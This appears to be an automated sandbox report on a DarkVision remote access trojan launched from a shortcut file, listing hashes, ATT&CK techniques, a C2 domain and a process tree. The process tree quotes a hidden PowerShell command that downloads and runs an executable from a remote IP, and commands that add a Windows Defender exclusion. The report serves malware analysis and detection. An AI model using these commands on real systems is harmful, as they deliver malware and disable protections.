darkvision | aeed70a3f936b699e93f18dfc5b4a582a6a08be7d52d8e6229754f96205aecb2

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31-12-2024 08:32

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General

Target

009274965.lnk
Size

2KB
MD5

7f070dfbaa6893bb2effac0f2320a1d7
SHA1

293e7f6f6e70a0c7699215b3402dc5ff2bb2bfaa
SHA256

aeed70a3f936b699e93f18dfc5b4a582a6a08be7d52d8e6229754f96205aecb2
SHA512

720b2a90dd051160aeaa1a11a70433213b96f04e8d160c55c699f4fd6af7f1c07db61e110e684d9ce91ad79e987bd809497eb2d52ac2f3bd96cdb289c443b883

Score

10^/10

darkvision execution rat

Malware Config

Extracted

Family

darkvision

acuweld.ddns.net

Signatures

DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	3648	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3648	powershell.exe
3648	powershell.exe
2928	powershell.exe
1076	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	windows.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	windows.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorer.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{5CAAC06D-2278-4820-8E02-FD7BF03ADE5D}.lnk	explorer.exe

Executes dropped EXE 2 IoCs

pid	Process
2008	file.exe
4112	windows.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3648	powershell.exe
3648	powershell.exe
2928	powershell.exe
2928	powershell.exe
1076	powershell.exe
1076	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4112	windows.exe
4112	windows.exe
4112	windows.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	1076	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 3648	2624	cmd.exe	84
PID 2624 wrote to memory of 3648	2624	cmd.exe	84
PID 3648 wrote to memory of 2008	3648	powershell.exe	87
PID 3648 wrote to memory of 2008	3648	powershell.exe	87
PID 2008 wrote to memory of 3668	2008	file.exe	88
PID 2008 wrote to memory of 3668	2008	file.exe	88
PID 3668 wrote to memory of 2928	3668	cmd.exe	90
PID 3668 wrote to memory of 2928	3668	cmd.exe	90
PID 2008 wrote to memory of 4112	2008	file.exe	91
PID 2008 wrote to memory of 4112	2008	file.exe	91
PID 4112 wrote to memory of 3312	4112	windows.exe	96
PID 4112 wrote to memory of 3312	4112	windows.exe	96
PID 4112 wrote to memory of 3900	4112	windows.exe	98
PID 4112 wrote to memory of 3900	4112	windows.exe	98
PID 3312 wrote to memory of 1076	3312	cmd.exe	99
PID 3312 wrote to memory of 1076	3312	cmd.exe	99

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\009274965.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri http://87.120.113.91/image.exe -OutFile C:\Users\Admin\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\Admin\AppData\Local\Temp\file.exe' }"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2008
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3668
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2928
  - - C:\ProgramData\windows\windows.exe
      "C:\ProgramData\windows\windows.exe" {05756468-6434-465A-9313-8CAA82F857B2}
      4⤵
      Checks BIOS information in registry
      Executes dropped EXE
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4112
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3312
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-MpPreference -ExclusionPath 'C:\ProgramData\windows'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1076
    - - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        5⤵
        Checks BIOS information in registry
        Drops startup file
        
        PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
70595b5937369a2592a524db67e208d3

SHA1
d989b934d9388104189f365694e794835aa6f52f

SHA256
be09b93a020e2e86a0b3c7c3f3d3e2c45f888944b1036df738385ede16f595c8

SHA512
edb412886187a2740eb7e284b16838bdd9f011aba1f4581f1fed25a86cdfe9b2ab4df863edeb3db6b072805439d57b10f3e0a1f2daabe1ee56db275ad2ad61e5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
64a10d8c6b5db372b97edf35ede19e5e

SHA1
3f4d2156f3a2f53422a9cbdc421ef1220194349b

SHA256
81b2060200caac5f5790306c2b23fd3b0e4fb8806d02f34fc9f1c86d61cbfc3b

SHA512
ec3aa311a0ab17211b14cf10ca53f1ea4750b896e5171c5557c6ac92da48c2d23dc5ffbf920d5aab77d40612270b498713f180090fda157c15fa20cac91d96ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fhegu4xx.1rt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\file.exe

Filesize
4.0MB

MD5
d37285bf0331c7514e5e4cec0fbe647c

SHA1
2a83f532b50fb5acd4f417c2ce51a1eac1bb9c08

SHA256
f96c269716f360aa2fbb1926dda79c3ff47ea7d8ec6615cde06b205d28400f79

SHA512
d1a9f56a504bc6d13a0af3ac1caf97d9bc86ace60577b87a2f7143c3c94ade29605559b9122c19d2a8ca2f817d6efe123a24c75012b9c22241fbcdf2938b1d81

Download Submit
memory/2008-23-0x00007FF6D06B0000-0x00007FF6D0AB9000-memory.dmp

Filesize
4.0MB

Download
memory/2008-33-0x00007FF6D06B0000-0x00007FF6D0AB9000-memory.dmp

Filesize
4.0MB

Download
memory/2928-46-0x00000241B86E0000-0x00000241B88FC000-memory.dmp

Filesize
2.1MB

Download
memory/3648-12-0x000001FB2BE20000-0x000001FB2BE42000-memory.dmp

Filesize
136KB

Download
memory/3648-26-0x00007FFD0BD50000-0x00007FFD0C811000-memory.dmp

Filesize
10.8MB

Download
memory/3648-14-0x00007FFD0BD50000-0x00007FFD0C811000-memory.dmp

Filesize
10.8MB

Download
memory/3648-13-0x00007FFD0BD50000-0x00007FFD0C811000-memory.dmp

Filesize
10.8MB

Download
memory/3648-2-0x00007FFD0BD53000-0x00007FFD0BD55000-memory.dmp

Filesize
8KB

Download
memory/3900-66-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-74-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-56-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-58-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-64-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-72-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-73-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-70-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-47-0x00000000012A0000-0x00000000012A1000-memory.dmp

Filesize
4KB

Download
memory/3900-69-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-67-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-65-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-62-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-61-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-71-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-68-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-60-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-99-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-63-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-59-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-55-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-57-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-88-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-89-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-87-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-48-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-86-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-90-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-94-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-92-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-91-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-98-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/3900-93-0x0000000003290000-0x0000000003699000-memory.dmp

Filesize
4.0MB

Download
memory/4112-108-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-105-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-101-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-102-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-34-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-104-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-100-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-106-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-103-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-109-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-110-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-111-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-112-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-113-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-114-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download
memory/4112-115-0x00007FF75EE10000-0x00007FF75F219000-memory.dmp

Filesize
4.0MB

Download